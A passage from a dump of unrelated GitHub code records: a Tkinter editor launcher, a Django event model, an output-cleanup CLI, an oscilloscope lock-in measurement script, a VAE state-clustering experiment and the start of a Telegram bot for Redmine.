Checking for unsupported release targets\")\n if any(x == True for x in self.unsupportedChosenBool):\n messagebox.showwarning(\"Unsupported platforms chosen\",\"Using this template with the selected platforms will not compile correctly. This can be changed later.\") \n # Remove launcher widgets to share window with Editor\n self.menuBar.destroy()\n self.createFrame.destroy()\n self.stepCContinue.destroy()\n # Start processing, and implementing small options\n if self.newDir:\n self.dirFriendlyNames = name.replace(\" \",\"_\")\n dir = os.path.join(dir,self.dirFriendlyNames)\n # Share launcher window, to reduce theme errors\n self.splashScreen.title(name + \"- Crumbl 2D Editor\")\n editMain.app(self.splashScreen,dir,True,template,name,specialoptionNames)\n\n def newProjectStepC(self,objectChoice,event = None):\n # Check if all fields have been filled\n if self.nameData.get() == \"\":\n self.nameEntry.state([\"invalid\"])\n if self.dirData.get() == \"\":\n self.dirEntry.state([\"invalid\"])\n # Generate error messages based on conditions\n if self.nameData.get() == \"\" and self.dirData.get() == \"\":\n messagebox.showerror(\"Finish form\",\"Please give your project a name and save location!\")\n elif self.nameData.get() == \"\":\n messagebox.showerror(\"Finish form\",\"Please give your project a name!\")\n elif self.dirData.get() == \"\":\n messagebox.showerror(\"Finish form\",\"Please choose a place to save your project!\")\n #Continue if all conditions met\n else: \n # Destroy all old modules replace with new\n self.stepBText.pack_forget()\n self.templateText.pack_forget()\n self.nameText.pack_forget()\n self.nameEntry.pack_forget()\n self.dirText.pack_forget()\n self.dirFrame.pack_forget()\n self.dirEntry.pack_forget()\n self.dirButton.pack_forget()\n self.stepCContinue.pack_forget()\n self.createNewDir.pack_forget()\n # Step progress bar\n self.cProgressBar.step(33)\n # Read into JSON for special values and platform choices\n # Create menus\n self.osMenu = tkinter.Menu(self.createFrame)\n self.unsupportedMenu = tkinter.Menu(self.osMenu)\n self.chosenBool = []\n self.unsupportedChosenBool = []\n # Read data\n self.platforms = fileHandler.templateData[\"platforms\"]\n self.reccomendedPlatforms = fileHandler.projectData[\"reccomendedPlatforms\"]\n self.specialChoices = fileHandler.projectData[\"specialInformation\"]\n # Place data in menu\n for i in self.reccomendedPlatforms:\n self.chosenBool.append(tkinter.BooleanVar(self.osMenu,True))\n self.osMenu.add_checkbutton(label=i,variable=self.chosenBool[self.reccomendedPlatforms.index(i)])\n self.osMenu.add_separator()\n self.unsupportedPlatforms = [x for x in self.platforms if x not in self.reccomendedPlatforms]\n if not len(self.unsupportedPlatforms) == 0:\n self.osMenu.add_cascade(label=\"Unsupported release platforms\",menu=self.unsupportedMenu)\n for i in self.unsupportedPlatforms:\n self.unsupportedChosenBool.append(tkinter.BooleanVar(self.osMenu,True))\n self.unsupportedMenu.add_checkbutton(label=i,variable = self.unsupportedChosenBool[len(self.unsupportedChosenBool)-1])\n # Final step instructional text\n self.stepBText= ttk.Label(self.createFrame,text = \"Finishing steps\",font = (\"TkDefaultFont\",24,\"bold\"))\n self.stepBText.pack(side = \"top\")\n self.platformsMenu= ttk.Menubutton(self.createFrame,text = \"Select your release platforms\", menu = self.osMenu)\n self.platformsMenu.pack(side = \"top\")\n self.templateOptions = ttk.Label(self.createFrame,text = \"Template-based options\",font = (\"TkDefaultFont\",18,\"bold\"))\n self.templateOptions.pack(side = \"top\")\n self.finishButton = ttk.Button(self.createFrame,style = \"Accent.TButton\",text = \"Finish\",command=lambda s = self,a = self.nameData.get(),b = self.dirData.get(),c= objectChoice,d = [\"\"]: self.finishProjectCreation(a,b,c,d))\n self.finishButton.pack(side=\"bottom\",anchor=\"se\")\n\n\n def removeSharedEditorTab(event,self,module):\n if module == \"about\":\n self.aboutFrame.pack_forget()\n if module == \"settings\":\n self.settingsFrame.pack_forget()\n self.backButton.pack_forget()\n self.logoContainer.pack_forget()\n self.hamburgerButton.pack(side=\"left\")\n self.logoContainer.pack(side=\"left\")\n self.hamburgerButton.pack(side=\"left\")\n self.hamburgerMenu.pack(side=\"left\", fill = \"y\",expand = 1)\n self.welcomeFrame.pack(fill = \"both\")\n\n def setupSharedEditorTab(event,self,module):\n self.logoContainer.pack_forget() \n self.backButton.pack(side=\"left\")\n self.backButton.config(command=lambda s=self,m=module:self.removeSharedEditorTab(s,m))\n self.logoContainer.pack(side=\"left\")\n self.welcomeFrame.pack_forget()\n self.hamburgerMenu.pack_forget()\n self.hamburgerButton.pack_forget()\n if module == \"about\":\n self.aboutFrame.pack(fill=\"both\")\n self.about = about.NotebookPage.start_page(self.aboutFrame)\n if module == \"settings\":\n self.settingsFrame.pack(fill=\"both\")\n self.setting = settings_wizard.NotebookPage.start_page(self.settingsFrame)\nsplashScreen = splash()\n","repo_name":"Crumbl-Studios/Crumbl-2D","sub_path":"Editor/launcher.py","file_name":"launcher.py","file_ext":"py","file_size_in_byte":24437,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"13101269645","text":"from __future__ import unicode_literals\n\nimport datetime\nimport holidays\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.db import models\n\nfrom django.urls import reverse\n\n\nclass Event(models.Model):\n name = models.CharField(max_length=250, unique=True)\n start_date = models.DateField()\n num_months_between_occ = models.IntegerField(default=1, validators=[\n MinValueValidator(1)\n ])\n day_of_month_of_occ = models.IntegerField(default=1, validators=[\n MaxValueValidator(31),\n MinValueValidator(1)\n ])\n num_days_offset = models.IntegerField(default=1, validators=[\n MinValueValidator(1)\n ])\n calculated_date = models.DateField(null=True, blank=True)\n delivery_date = models.DateField(null=True, blank=True)\n\n def save(self, *args, **kwargs):\n today = datetime.datetime.now()\n month = today.month\n year = today.year\n\n # first calculate the calculated date from the day of month given\n self.calculated_date = datetime.date(day=self.day_of_month_of_occ,\n year=year,\n month=month)\n while self.calculated_date < self.start_date:\n next_day = self.day_of_month_of_occ\n next_year = year\n next_month = (self.calculated_date.month + 1) % 12\n if (self.calculated_date.month + 1) > 12:\n next_year += 1\n\n created = False\n while not created:\n # handle days that don't exist in the month\n try:\n self.calculated_date = datetime.date(day=next_day,\n year=next_year,\n month=next_month if next_month > 0 else 12)\n created = True\n except ValueError:\n next_day -= 1\n\n self.delivery_date = self.calculated_date\n\n us_holidays = holidays.UnitedStates()\n while self.delivery_date.weekday() > 4 or \\\n self.delivery_date in us_holidays:\n self.delivery_date = self.delivery_date - datetime.timedelta(days=1)\n\n # make sure we have not gone back past the start date - if so\n # go forward to the next month\n if self.delivery_date < self.start_date:\n next_day = self.day_of_month_of_occ\n next_year = self.delivery_date.year\n next_month = (self.delivery_date.month + 1) % 12\n if (self.delivery_date.month + 1) > 12:\n next_year += 1\n\n created = False\n while not created:\n try:\n self.day_of_month_of_occ = \\\n datetime.date(day=next_day,\n year=next_year,\n month=next_month)\n except ValueError:\n next_day -= 1\n\n super(Event, self).save(*args, **kwargs)\n\n def get_absolute_url(self):\n return reverse('detail', kwargs={'event_id': self.pk})","repo_name":"traciarms/recurring_events","sub_path":"true_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42298777125","text":"# Distributed under the MIT License.\n# See LICENSE.txt for details.\n\nimport logging\nimport os\nimport shutil\n\nimport click\nimport yaml\n\n\nclass MissingExpectedOutputError(Exception):\n def __init__(self, missing_files):\n self.missing_files = missing_files\n\n def __str__(self):\n return \"Expected output files are missing: {}\".format(\n self.missing_files\n )\n\n\ndef clean_output(input_file, output_dir, force):\n \"\"\"\n Deletes output files specified in the `input_file` from the `output_dir`,\n raising an error if the expected output files were not found.\n\n The `input_file` must list its expected output files in the metadata:\n\n \\b\n ```yaml\n ExpectedOutput:\n - Reduction.h5\n - Volume0.h5\n ```\n \"\"\"\n with open(input_file, \"r\") as open_input_file:\n metadata = next(yaml.safe_load_all(open_input_file))\n\n if \"ExpectedOutput\" not in metadata:\n logging.warning(\n f\"Input file {input_file} does not list 'ExpectedOutput' files.\"\n )\n return\n\n # Validate the user input. We have to be careful that we don't iterate over\n # a string, which would yield each character in turn.\n expected_output = metadata[\"ExpectedOutput\"]\n assert not isinstance(expected_output, str), (\n f\"'ExpectedOutput' in file '{input_file}' should be a list of files, \"\n \"not a string.\"\n )\n\n missing_files = []\n for expected_output_file in expected_output:\n expected_output_file = os.path.join(output_dir, expected_output_file)\n logging.debug(f\"Attempting to remove file {expected_output_file}...\")\n if os.path.exists(expected_output_file):\n if os.path.isfile(expected_output_file):\n os.remove(expected_output_file)\n else:\n shutil.rmtree(expected_output_file)\n logging.info(f\"Removed file {expected_output_file}.\")\n elif not force:\n missing_files.append(expected_output_file)\n logging.error(\n f\"Expected file {expected_output_file} was not found.\"\n )\n # Raise an error if expected files were not found\n if len(missing_files) > 0:\n raise MissingExpectedOutputError(missing_files)\n\n\n@click.command(name=\"clean-output\", help=clean_output.__doc__)\n@click.argument(\n \"input_file\",\n type=click.Path(exists=True, file_okay=True, dir_okay=False, readable=True),\n)\n@click.option(\n \"--output-dir\",\n \"-o\",\n type=click.Path(exists=True, file_okay=False, dir_okay=True, readable=True),\n required=True,\n help=\"Output directory of the run to clean up\",\n)\n@click.option(\"--force\", \"-f\", is_flag=True, help=\"Suppress all errors\")\ndef clean_output_command(**kwargs):\n _rich_traceback_guard = True # Hide traceback until here\n clean_output(**kwargs)\n\n\nif __name__ == \"__main__\":\n clean_output_command(help_option_names=[\"-h\", \"--help\"])\n","repo_name":"sxs-collaboration/spectre","sub_path":"tools/CleanOutput.py","file_name":"CleanOutput.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","stars":135,"dataset":"github-code","pt":"48"} +{"seq_id":"74261013586","text":"##Implementacion de lock-in por software para caracterizacion de una impedancia\r\n##Lucas M. Grigolato - Jose I. Quinteros\r\n##Laboratorio II\r\n##Instituto Balseiro - 2018\r\n\r\n##Este programa captura dos señales de un osciloscopio, y aplica el proceso de\r\n##amplificación lock-in utilizando como señal de referencia la tensión de excitación\r\n##de un circuito que tiene una impedancia desconocida. Tomando mediciones variando la\r\n##frecuencia de 1kHz a 100kHz, y conocida la configuración del circuito, puede \r\n##medirse la impedancia para cada valor de frecuencia.\r\n\r\nfrom RigolClass import RigolDS2000,RigolDG4000\r\nfrom scipy.signal import hilbert\r\nimport numpy as np\r\n\r\ndef writeDoubleToFile(wav1,wav2,path):\r\n #esta función toma dos estructuras de tipo wav, y las exporta a un archivo\r\n file=open(path,'w')\r\n\r\n #escribo los dos preamble con todas las caract como header\r\n parameters=wav1.pre.split(\",\")\r\n if parameters[0]==0:\r\n fmat=\"WORD\"\r\n elif parameters[0]==1:\r\n fmat=\"BYTE\"\r\n else:\r\n fmat=\"ASCII\"\r\n if parameters[1]==0:\r\n typ=\"Normal\"\r\n elif parameters[1]==1:\r\n typ=\"Maximum\"\r\n else:\r\n typ=\"Raw\"\r\n pre=\"Format: \"+fmat+\"\\nType: \"+typ+\"\\nPoints: \"+parameters[2]\r\n pre=pre+\"\\nCount: \"+parameters[3]+\"\\nXinc = \"+parameters[4]\r\n pre=pre+\"\\nXor = \"+parameters[5]+\"\\nXref = \"+parameters[6]\r\n pre=pre+\"\\nYinc = \"+parameters[7]+\"\\nYor = \"+parameters[8]\r\n pre=pre+\"\\nXref = \"+parameters[6]+\"\\n\"\r\n file.write(\"Preamble 1\\n%s\" % pre)\r\n parameters=wav2.pre.split(\",\")\r\n if parameters[0]==0:\r\n fmat=\"WORD\"\r\n elif parameters[0]==1:\r\n fmat=\"BYTE\"\r\n else:\r\n fmat=\"ASCII\"\r\n if parameters[1]==0:\r\n typ=\"Normal\"\r\n elif parameters[1]==1:\r\n typ=\"Maximum\"\r\n else:\r\n typ=\"Raw\"\r\n pre=\"Format: \"+fmat+\"\\nType: \"+typ+\"\\nPoints: \"+parameters[2]\r\n pre=pre+\"\\nCount: \"+parameters[3]+\"\\nXinc = \"+parameters[4]\r\n pre=pre+\"\\nXor = \"+parameters[5]+\"\\nXref = \"+parameters[6]\r\n pre=pre+\"\\nYinc = \"+parameters[7]+\"\\nYor = \"+parameters[8]\r\n pre=pre+\"\\nXref = \"+parameters[6]+\"\\n\"\r\n file.write(\"Preamble 2\\n%s\" % pre)\r\n\r\n #escribo los datos como csv\r\n for i in range(0,wav1.points):\r\n file.write(\"%.9f,%.5f,%.5f\\n\" % (wav1.t[i],float(wav1.v[i]),float(wav2.v[i])))\r\n\r\n file.close()\r\n\r\n#defino los instrumentos que voy a usar, e imprimo sus nombres\r\nosc=RigolDS2000()\r\ngen=RigolDG4000()\r\nprint(\"Generador: \"+gen.ID())\r\nprint(\"\\nOsciloscopio: \"+osc.ID())\r\n\r\ndef impedanciaFreq(freq):\r\n #esta funcion devuelve el valor de impedancia para la frecuencia freq que recibe\r\n #como argumento. Para ello configura el generador a la frecuencia freq, captura\r\n #las waveform correspondientes a la señal de excitación y a la señal de entrada\r\n #del circuito, les aplica el proceso del amplificador lock-in para caracterizar\r\n #la señal de entrada, y luego devuelve el valor de la impedancia con el divisor\r\n #de voltaje caracteristico del circuito.\r\n \r\n #Setear valores del generador\r\n gen.setFunc(1,\"SIN\")\r\n gen.setFreq(1,freq)\r\n gen.setAmpl(1,5,\"VPP\")\r\n gen.turnOutput(1,\"ON\")\r\n\r\n #definir profundidad de memoria y periodos a mostrar\r\n memdepth=int(7E3)\r\n periodos=30\r\n\r\n #preparo la medicion\r\n osc.autoSet()\r\n osc.setTriggerSourceIE('EXT')\r\n osc.setScalePeriod(periodos,freq)\r\n osc.setMemDepth(memdepth)\r\n\r\n #ajusto escala vertical para aumentar la resolucion de las ondas a medir\r\n osc.setOffset(2,0)\r\n osc.setVerticalScale(2,0.750)\r\n osc.setOffset(1,0)\r\n osc.setVerticalScale(1,osc.measureAmp(1)/5.5)\r\n\r\n #dejo correr al osciloscopio y capturo una medicion\r\n osc.runAndStop()\r\n\r\n #leo canal1\r\n osc.setRead(1,\"RAW\",\"BYTE\",1,memdepth)\r\n data1=osc.getWaveformData()\r\n\r\n #leo canal2\r\n osc.setRead(2,\"RAW\",\"BYTE\",1,memdepth)\r\n data2=osc.getWaveformData()\r\n\r\n #escribo la info que obtuve en un archivo\r\n path=\"data/data\"+str(freq)+\".csv\"\r\n writeDoubleToFile(data1,data2,path)\r\n\r\n #defino Ri como la resist de entrada medida\r\n Ri=98646\r\n \r\n #antes de procesar, para quitar el posible offset de los datos, les resto su promedio\r\n v1prom=np.average(data1.v)\r\n v2prom=np.average(data2.v)\r\n data1.v=data1.v-v1prom\r\n data2.v=data2.v-v2prom\r\n\r\n #defino Vs (amplitud del generador de ondas) como el maximo valor de la señal de excitacion\r\n Vs=np.amax(data2.v)\r\n\r\n #genero la referencia normalizando la señal de excitacion con su amplitud\r\n ref=data2.v/Vs\r\n #para la referencia en cuadratura, uso transformada de Hilbert\r\n refq=-np.imag(hilbert(ref))\r\n\r\n #proceso de lock-in: multiplico la señal de salida por las referencias...\r\n y1=data1.v*ref\r\n y2=data1.v*refq\r\n #... y filtro pasabajo con un promediador\r\n y3=np.average(y1)\r\n y4=np.average(y2)\r\n\r\n #obtengo el modulo y fase del voltaje sobre la carga, y por lo tanto el complejo Vz\r\n modVz=2*(y3**2+y4**2)**0.5\r\n Phi=np.arctan(y4/y3)\r\n Vz=modVz*(np.cos(Phi)+1j*np.sin(Phi))\r\n\r\n #calculo la impedancia de carga con un divisor de impendancias\r\n ZL=(-Vz*Ri)/(Vz-Vs)\r\n\r\n return ZL\r\n\r\n#defino archivo de salida\r\npath2=\"data/impFreq.tsv\"\r\nfile2=open(path2,'w')\r\n\r\n#header\r\nfile2.write(\"n\\tRL\\tXL\\t|ZL|\\tPhi\\n\")\r\nprint(\"n\\tRL\\tXL\\t|ZL|\\tPhi\")\r\n\r\nfor i in range(50,100):\r\n #aumento la frecuencia en pasos de 1kHz\r\n f=(i*1000)+1000\r\n zl=impedanciaFreq(f)\r\n print(f,\"\\t\",np.real(zl),\"\\t\",np.imag(zl),\"\\t\",np.abs(zl),\"\\t\",np.angle(zl,deg=True),\"\\n\")\r\n file2.write(\"%d\\t%.5f\\t%.5f\\t%.5f\\t%.5f\\n\" % (f,np.real(zl),np.imag(zl),np.abs(zl),np.angle(zl,deg=True)))\r\n\r\nfile2.close()","repo_name":"JIQdC/lockin-expIB","sub_path":"ImpFreqScal.py","file_name":"ImpFreqScal.py","file_ext":"py","file_size_in_byte":5665,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4485675633","text":"#303\n#89\n\n#brute force method\n##(Brute Force) [Time Limit Exceeded]\n##Each time sumRange is called, we use a for loop to sum each individual element from index ii to jj.\n\n##Complexity analysis:\n##\n##Time complexity : O(n)O(n) time per query. Each sumRange query takes O(n)O(n) time.\n##\n##Space complexity : O(1)O(1). Note that data is a reference to nums and is not a copy of it.\n\n\nclass NumArray:\n def __init__(self, arr):\n self.data = arr\n\n def sumRange(self, i, j):\n summ = 0\n k = i\n while(k <= j):\n summ += self.data[k]\n k += 1\n return summ\n\n\n \n\narr = [int(x) for x in input().split()]\nobj = NumArray(arr)\nparam1 = obj.sumRange(0, 2)\nprint(param1)\nparam2 = obj.sumRange(2, 5)\nprint(param2)\nparam3 = obj.sumRange(0, 5)\nprint(param3)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"nilankh/LeetCodeProblems","sub_path":"DynamicProgramming/RangeSumQuery#303.py","file_name":"RangeSumQuery#303.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16931872680","text":"# !/usr/bin/python\n# -*- coding: utf-8 -*-\n# @time : 2019/11/18 22:00\n# @author : Mo\n# @function: segment of sent\n\n\nfrom macropodus.segment.seg_statistics.seg_statistics import SegStatistics\nfrom macropodus.segment.word_discovery.word_discovery import WordDiscovery\nimport os\n\n\n# 机械分词,默认使用缓存\nuse_cache = True\nif not os.environ.get(\"macropodus_use_seg_cache\", True):\n use_cache = False # 不使用缓存,重新加载\nsegs = SegStatistics(use_cache)\ncut_bidirectional = segs.cut_bidirectional\ncut_forward = segs.cut_forward\ncut_reverse = segs.cut_reverse\ncut_search = segs.cut_search\ncut_dag = segs.cut_dag\ncut = segs.cut\n\n# 用户词典增删改查\nload_user_dict = segs.load_user_dict\nsave_delete_words = segs.save_delete_words\nsave_add_words = segs.save_add_words\ndelete_word = segs.delete_word\nadd_word = segs.add_word\n\n# 新词发现\nwd = WordDiscovery()\nfind = wd.find_word\n","repo_name":"yongzhuo/Macropodus","sub_path":"macropodus/segment/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":621,"dataset":"github-code","pt":"48"} +{"seq_id":"33999844595","text":"'''\n**Figure 9 from paper**\n\nStraightforward implementation of training a variational autoencoder in FourRooms \nand then clustering states based on their encoding to form discrete abstract states\n--> demonstrates that the resulting abstract states are not conducive to planning\n\nTODO: this code is currently repetitive and hard coded\n - \"autoencoder representation\" should be incorporated into the main file as a config option\n - should extend to arbitrary state inputs\n - \"clustering\" should be one feature\n'''\n\nfrom environments.env_wrappers import BaseFourRooms\n\nimport time\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import Dataset, DataLoader\n\nfrom sklearn.cluster import KMeans\n\nimport gym\nfrom gym import Wrapper\n\nclass FourRoomsImg(Wrapper):\n def __init__(self, config):\n max_steps = config[\"max_steps\"]\n env = gym.make('dsaa_envs:fourrooms-v0', max_steps=max_steps)\n super(FourRoomsImg, self).__init__(env)\n self.example_obs = env._make_obs()\n\n self.observation_size = 19*19\n self.action_size = 4\n self.name = \"four_rooms_img\"\n\n def reset(self):\n return self.env.reset()\n\n def step(self, action):\n obs, reward, done, info = self.env.step(action)\n return obs, reward, done, info\n\n def close(self):\n return self.env.close()\n\nclass Flatten(nn.Module):\n def forward(self, input):\n return input.view(input.size(0), -1)\nclass UnFlatten(nn.Module):\n def forward(self, input, size=1024):\n return input.view(input.size(0), size, 1, 1)\n\nclass ConvVAE(nn.Module):\n def __init__(self, image_channels=3, h_dim=1024, z_dim=32):\n super(ConvVAE, self).__init__()\n self.encoder = nn.Sequential(\n nn.Conv2d(image_channels, 32, kernel_size=4, stride=2),\n nn.ReLU(),\n nn.Conv2d(32, 64, kernel_size=4, stride=2),\n nn.ReLU(),\n nn.Conv2d(64, 128, kernel_size=4, stride=2),\n nn.ReLU(),\n nn.Conv2d(128, 256, kernel_size=4, stride=2),\n nn.ReLU(),\n Flatten()\n )\n \n self.fc1 = nn.Linear(h_dim, z_dim)\n self.fc2 = nn.Linear(h_dim, z_dim)\n self.fc3 = nn.Linear(z_dim, h_dim)\n \n self.decoder = nn.Sequential(\n UnFlatten(),\n nn.ConvTranspose2d(h_dim, 128, kernel_size=5, stride=2),\n nn.ReLU(),\n nn.ConvTranspose2d(128, 64, kernel_size=5, stride=2),\n nn.ReLU(),\n nn.ConvTranspose2d(64, 32, kernel_size=6, stride=2),\n nn.ReLU(),\n nn.ConvTranspose2d(32, image_channels, kernel_size=6, stride=2),\n nn.Sigmoid(),\n )\n \n def reparameterize(self, mu, logvar):\n std = logvar.mul(0.5).exp_()\n # return torch.normal(mu, std)\n esp = torch.randn(*mu.size())\n z = mu + std * esp\n return z\n \n def bottleneck(self, h):\n mu, logvar = self.fc1(h), self.fc2(h)\n z = self.reparameterize(mu, logvar)\n return z, mu, logvar\n\n def encode(self, x):\n h = self.encoder(x)\n z, mu, logvar = self.bottleneck(h)\n return z, mu, logvar\n\n def decode(self, z):\n z = self.fc3(z)\n z = self.decoder(z)\n return z\n\n def forward(self, x):\n z, mu, logvar = self.encode(x)\n z = self.decode(z)\n return z, mu, logvar\n\nclass LinearVAE(nn.Module):\n def __init__(self, input_features=2, h_dim=1024, z_dim=32):\n super(LinearVAE, self).__init__()\n self.encoder = nn.Sequential(\n nn.Linear(input_features, 32),\n nn.ReLU(),\n nn.Linear(32, 64),\n nn.ReLU(),\n nn.Linear(64, 128),\n nn.ReLU(),\n nn.Linear(128, h_dim),\n nn.ReLU()\n )\n \n self.fc1 = nn.Linear(h_dim, z_dim)\n self.fc2 = nn.Linear(h_dim, z_dim)\n self.fc3 = nn.Linear(z_dim, h_dim)\n \n self.decoder = nn.Sequential(\n nn.Linear(h_dim, 128),\n nn.ReLU(),\n nn.Linear(128, 64),\n nn.ReLU(),\n nn.Linear(64, 32),\n nn.ReLU(),\n nn.Linear(32, input_features),\n nn.Sigmoid(),\n )\n \n def reparameterize(self, mu, logvar):\n std = logvar.mul(0.5).exp_()\n # return torch.normal(mu, std)\n esp = torch.randn(*mu.size())\n z = mu + std * esp\n return z\n \n def bottleneck(self, h):\n mu, logvar = self.fc1(h), self.fc2(h)\n z = self.reparameterize(mu, logvar)\n return z, mu, logvar\n\n def encode(self, x):\n h = self.encoder(x)\n z, mu, logvar = self.bottleneck(h)\n return z, mu, logvar\n\n def decode(self, z):\n z = self.fc3(z)\n z = self.decoder(z)\n return z\n\n def forward(self, x):\n z, mu, logvar = self.encode(x)\n z = self.decode(z)\n return z, mu, logvar\n\nclass TransitionsDataset(Dataset):\n # A transition is a pair of consecutive states (x,x')\n # If we want images we can do the img transformation here\n def __init__(self, transitions):\n self.transitions = transitions\n\n def __len__(self):\n return len(self.transitions)\n\n def __getitem__(self, idx):\n # normalize, TODO: remove hardcoding\n return torch.FloatTensor(self.transitions[idx]) / 18.0\n\ndef vae_loss_fn(recon_x, x, mu, logvar):\n BCE = F.binary_cross_entropy(recon_x, x, reduction=\"sum\")\n KLD = -0.5 * torch.mean(1 + logvar - mu.pow(2) - logvar.exp())\n return BCE + KLD, BCE, KLD\n\ndef autoencoder_main():\n do_conv = False\n\n if do_conv:\n env = FourRoomsImg()\n else:\n env = BaseFourRooms({\"max_steps\": 500})\n\n # explore randomly to gather data\n print(\"**Exploring**\")\n data = []\n state = env.reset() \n for _ in range(100000):\n action = env.action_space.sample()\n next_state , _, done, _ = env.step(action)\n data.append([state, next_state])\n if False:#done:\n state = env.reset()\n else:\n state = next_state\n \n # prepare data for training VAE\n # TODO: MAKE SURE TO NORMALIZE FEATURES TO 0-1 SINCE WE HAVE A SIGMOID AT THE END OF RECONSTRUCTION\n print(\"**Preparing Data**\")\n batch_size = 256\n dataset = TransitionsDataset(transitions=data)\n dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=True)\n\n # train VAE with data\n print(\"**Training VAE**\")\n start_time = time.time()\n z_dim = 4\n\n if do_conv:\n vae = ConvVAE(image_channels=1, z_dim=z_dim)\n else:\n vae = LinearVAE(input_features=2, z_dim=z_dim)\n \n vae_optimizer = torch.optim.Adam(vae.parameters(), lr=1e-3)\n epochs = 10\n for epoch in range(epochs):\n running_loss = 0.0\n for idx, image_pairs in enumerate(dataloader):\n images = image_pairs[:,0]/18.0 # we don't need the transitions for training the VAE, just single samples\n recon_images, mu, logvar = vae(images)\n loss, bce, kld = vae_loss_fn(recon_images, images, mu, logvar) #TODO: should be next_images not images\n vae_optimizer.zero_grad()\n loss.backward()\n vae_optimizer.step()\n running_loss = running_loss*0.99 + 0.01*loss.item()\n to_print = \"Epoch[{}/{}] Loss: {:.3f}\".format(epoch+1, epochs, running_loss)\n print(to_print, end=\"\\r\")\n print(f\"**Finished VAE Training: total time: {time.time()-start_time:3.2f}**\")\n\n # Now let's cluster the states based on their encodings\n xx,yy = np.meshgrid(np.linspace(0,18,19), np.linspace(0,18,19))\n all_states = np.concatenate([xx.reshape(-1,1), yy.reshape(-1,1)], axis=1).astype(int)\n \n if do_conv:\n env_grid = (env.example_obs == 1)*1.0\n phi = []\n with torch.no_grad():\n for i,j in all_states:\n if env_grid[0,i,j] > 0:\n continue\n \n tmp_grid = torch.FloatTensor(np.copy(env_grid))\n tmp_grid[0,i,j] = 2\n _, cur_phi, _ = vae.encode(tmp_grid.unsqueeze(0))\n phi.append(cur_phi)\n\n else:\n torch_states = torch.FloatTensor(all_states) / 18.0\n with torch.no_grad():\n _, phi, _ = vae.encode(torch_states)\n\n env_grid = env.example_obs[0]\n true_states = []\n loc_to_idx = {}\n for idx, (i,j) in enumerate(all_states):\n if env_grid[i,j] == 1:\n continue\n loc_to_idx[(i,j)] = len(true_states)\n true_states.append(phi[idx].tolist())\n \n # print(phi)\n print(phi.shape)\n print(len(true_states))\n\n X = np.array(true_states)\n num_clusters = 4\n kmeans = KMeans(n_clusters=num_clusters, random_state=0).fit(X)\n print(kmeans.labels_)\n grid = np.zeros((19,19)) - 1\n for idx, (i,j) in enumerate(all_states):\n if env_grid[i,j] == 1:\n continue\n grid[i,j] = kmeans.labels_[loc_to_idx[(i,j)]]\n plt.imshow(grid)\n plt.colorbar()\n plt.savefig(f\"tmp_data/autoencoder_abstraction_{num_clusters}.png\")\n\nif __name__==\"__main__\":\n autoencoder_main() # this won't run because of python relative imports","repo_name":"amnonattali/dsaa","sub_path":"transfer_experiments/test_autoencoder.py","file_name":"test_autoencoder.py","file_ext":"py","file_size_in_byte":9292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19458479391","text":"import http\nimport signal\nimport json\nimport importlib\nfrom sys import argv\nfrom time import sleep\nfrom pathlib import Path\n\nfrom origamibot import OrigamiBot as Bot\nfrom origamibot.listener import Listener\n\nfrom redminebotlib import RedmineBot\nfrom redminebotlib.data_structs import Message, User\n\nimport scenery_api_realisation as sar\nimport scenery as sc\n\ndef load_json(path):\n with open(path) as ifile:\n dictionary = json.loads(ifile.read())\n return dictionary\n\ndef save_scenery_to_json(scenery, filename):\n with open(filename, 'w') as sc_file:\n sc_file.write(json.dumps(scenery))\n\n\nSTART_MSG = \"\"\"Привет, {first_name}. Меня зовут Тасфия ‒ я бот таск-трекера Искры.\nВведи \"!справка\" для получения справочной информации.\"\"\"\ndef get_start_msg(message):\n return START_MSG.format(first_name = message.chat.first_name)\n\nclass BotsCommands:\n def __init__(self, bot: Bot, scenery_bot): # Can initialize however you like\n self.bot = bot\n self.scenery_bot = scenery_bot\n\n def start(self, message): # /start command\n uid = str(message.chat.id)\n if uid not in self.scenery_bot.user_db:\n self.scenery_bot.add_user(uid)\n self.bot.send_message(\n message.chat.id,\n get_start_msg(message))\n self.scenery_bot.user_db[uid].state = self.scenery_bot.scenery_states[\"init1\"]\n self.scenery_bot.process_user_message(Message(uid,\"nothing\"))\n else:\n self.bot.send_message(\n message.chat.id,\n f\"\"\"{message.chat.first_name}, на тебя дело уже заведено.\nОтправь мне \"!справка\", если не помнишь как со мной работать.\"\"\")\n\n\nclass MessageListener(Listener): # Event listener must inherit Listener\n def __init__(self, bot, scenery_bot):\n self.bot = bot\n self.scenery_bot = scenery_bot\n self.scenery_bot.set_reply_function(self.__reply_user)\n self.m_count = 0\n\n def __reply_user(self, message):\n self.bot.send_message(int(message.user_id), message.content)#, parse_mode=\"Markdown\")\n\n def on_message(self, message): # called on every message\n self.m_count += 1\n print(f'Total messages: {self.m_count}')\n\n user_id = str(message.chat.id)\n if type (message.text) is str:\n if (user_id not in self.scenery_bot.user_db) and not(message.text.startswith(\"/start\")):\n self.bot.send_message (\n message.chat.id,\n \"Без /start я работать не буду!\")\n return\n elif message.text.startswith(\"/\"):\n pass\n else:\n self.scenery_bot.process_user_message(Message(\n user_id,\n message.text\n ))\n\n\n def on_command_failure(self, message, err=None): # When command fails\n if err is None:\n self.bot.send_message(message.chat.id,\n 'Э-э-эм... не поняла')\n else:\n self.bot.send_message(message.chat.id,\n f\"В команде есть 